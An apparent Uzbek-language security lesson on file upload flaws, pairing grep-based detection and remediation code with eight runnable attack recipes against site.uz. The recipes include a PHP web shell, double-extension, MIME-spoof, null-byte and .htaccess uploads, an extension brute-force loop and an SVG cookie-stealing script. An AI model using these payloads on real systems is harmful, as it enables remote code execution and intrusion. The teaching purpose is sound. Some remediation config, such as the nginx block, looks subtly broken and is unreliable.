Fayl yuklash zaifliklari

≡ Barcha darslar
Tezkor 🔎 Indeks
📤

Fayl yuklash zaifliklari

Zararli fayl yuklab RCE
Dars 10 Jiddiy o'z saytingizda
1

Maqsad

zararli fayl yuklab, kod bajarish

Fayl yuklash tekshiruvi noto'g'ri bo'lsa — hujumchi serverga bajariladigan fayl joylaydi va undan kod ishga tushiradi.

UslubFayl turiNatija
Web shell.phpTo'liq RCE
Double extensionshell.php.jpgNginx config noto'g'ri
MIME spoofshell.pdf (PHP ichida)Content-Type tekshiruvi yolg'oni
SVGlogo.svgScripting (ba'zi joyda)
.htaccess.htaccessKonfiguratsiyani o'zgartirish
2

Tushuntirish

// XAVFLI — faqat kengaytma tekshiruvi
if (file.originalname.endsWith('.jpg')) save(file);
// hujum: shell.php.jpg → .jpg o'tadi, server .php ni ham
//       ".jpg" ni PHP deb taniydi (cgi.fix_pathinfo)

// XAVFLI — MIME faqat mijoz aytadi
if (file.mimetype === 'image/jpeg') save(file);
// hujum: shell.php ichida JPEG header, MIME "image/jpeg"

// TO'G'RI
const OK = { 'image/jpeg': ['.jpg'], 'image/png': ['.png'], 'application/pdf': ['.pdf'] }[f.mimetype];
if (!OK || !OK.includes(ext)) return fail();
save(uniqueName + ext);   // fayl nomini o'zimiz qo'yamiz
3

Qanday aniqlanadi

# 1) yuklash endpointlari
grep -rniE "multer|formidable|upload|multipart|LIBXML|writeFile.*temp" src/ | head

# 2) kengaytma/MIME tekshiruvi qayerda
grep -rnE "originalname|mimetype|extname|path\.extname|fileFilter" src/ | head

# 3) fayllar qayerda saqlanadi va qanday beriladi
grep -rniE "static|express\.static|UPLOAD|public/|uploads" src/ | head
4

Buyruqlar

8 xil usul
# 1) oddiy PHP fayl
printf '<?php system($_GET["c"]); ?>' > /tmp/shell.php
curl -s -F "file=@/tmp/shell.php" https://site.uz/api/upload
curl -s "https://site.uz/uploads/shell.php?c=id"

# 2) double extension
cp /tmp/shell.php /tmp/shell.php.jpg
curl -s -F "file=@/tmp/shell.php.jpg" https://site.uz/api/upload
curl -s "https://site.uz/uploads/shell.php.jpg?c=id"

# 3) MIME spoof (JPEG header + PHP)
printf '\xff\xd8\xff\xe0<?php system($_GET["c"]); ?>' > /tmp/shell.jpg
curl -s -F "file=@/tmp/shell.jpg;type=image/jpeg" https://site.uz/api/upload

# 4) null byte (eski dasturlar)
printf '<?php system($_GET["c"]); ?>' > "/tmp/shell.php%00.jpg"
curl -s -F "file=@/tmp/shell.php%00.jpg" https://site.uz/api/upload

# 5) .htaccess orqali (Apache)
printf 'AddType application/x-httpd-php .jpg\n' > /tmp/.htaccess
curl -s -F "file=@/tmp/.htaccess" -F "file=@/tmp/shell.jpg" https://site.uz/api/upload

# 6) phtml / pht / php5 / pht5 (boshqa kengaytmalar)
for E in phtml pht php3 php4 php5 php7 phar phps shtml; do
  cp /tmp/shell.php "/tmp/shell.$E"
  C=$(curl -s -o /dev/null -w '%{http_code}' -F "file=@/tmp/shell.$E" https://site.uz/api/upload)
  echo "  .$E → HTTP $C"
done

# 7) SVG orqali (ko'rganda bajariladi)
cat > /tmp/x.svg <<'EOF'
<svg xmlns="http://www.w3.org/2000/svg"><script>alert(document.cookie)</script></svg>
EOF
curl -s -F "file=@/tmp/x.svg;type=image/svg+xml" https://site.uz/api/upload

# 8) fayl saqlangan joyni aniqlash
curl -s -F "file=@/tmp/shell.php" https://site.uz/api/upload | jq .
curl -s -o /dev/null -w "%{http_code}\n" https://site.uz/uploads/  # papkalar ro'yxati
5

Natija

✓ MUvaffaqiyat — hujum ISHLADI
Server javobiNima degani
`uid=33(www-data)` javobida**Web shell — RCE tasdiqlandi**
`.php` fayl saqlandi va bajarildi**Kritik zaiflik**
`.phtml` / `.php5` ham bajarildi**Kengaytma ro'yxati to'liq emas**
`.htaccess` yuklandi**Konfiguratsiya o'zgartirildi**
SVG ichidagi script ishga tushdi**SVG XSS**
✗ Rad etish — hujum ISHLAMADI
Server javobiNima degani
`400 / file type not allowed`**Tekshiruv ishlayapti**
Fayl saqlandi lekin `<code>` emasSaqlandi — bajarilmaydi (non-exec zone)
`.php` yuklash rad etildi**Zaxavfsiz**
Fayl `random.bin` nomi bilan saqlandiNomi server belgiladi — **yaxshi**
6

Zararni yopish

1. Faylni qayta nomlash (eng muhimi)

const ext = path.extname(file.originalname).toLowerCase();   // ".php"
const name = crypto.randomUUID() + '.bin';                   // ← o'zimiz
fs.writeFileSync(path.join(UPLOAD, name), file.buffer);

2. Ruxsat etilgan turlar — oq ro'yxat

const OK_EXT = new Set(['.jpg', '.jpeg', '.png', '.webp', '.pdf']);
if (!OK_EXT.has(ext)) return res.status(400).end();

// qo'shimcha: har bir kengaytma uchun ruxsat berilgan MIME
const OK_MIME = { '.jpg': 'image/jpeg', '.png': 'image/png', '.pdf': 'application/pdf' };
if (OK_MIME[ext] !== file.mimetype) return fail();

3. Mazmunni tekshirish (magic bytes)

const b = file.buffer;
if (ext === '.jpg' && !(b[0] === 0xFF && b[1] === 0xD8)) return fail();
if (ext === '.png' && b.slice(1,4).toString() !== 'PNG') return fail();
// PHP matni boshida kelmasa — rasm deb qabul qilinadi

4. Bajarilmaydigan zonaga saqlash

UPLOAD=/var/www/usr_w8ujaj/data/www/xs313.xuss.us/uploads
# nginx
location /uploads/ { 
  add_header Content-Disposition "attachment";   # yuklanadi, bajarilmaydi
  location ~ \.php$ {{ return 403; }}
}
# php-fpm haqiqiy yo'ldan boshqariladi — /uploads dan o'tmaydi

5. Umumiy

  • Barcha turlarni qaytarish (downstream) orqali tekshirish — `<%` belgisi
  • Birinchi 4 baytni (magic) serverda tekshirish
  • Antivirus / ClamAV integratsiyasi
  • Yuklangan faylga no-store header
7

Tekshirish ro'yxati

  • Fayl nomi server tomonidan belgilanadi
  • Oq ro'yxat: faqat `.jpg .png .webp .pdf`
  • Magic bytes serverda tekshiriladi
  • Uploads papkasi bajarilmaydigan (no PHP)
  • `.htaccess` / `.svg` rad etilgan
  • Yuklangan fayl `Content-Disposition: attachment` bilan
  • `.php`, `.php5`, `.phtml`, `.svg` bilan test qilindi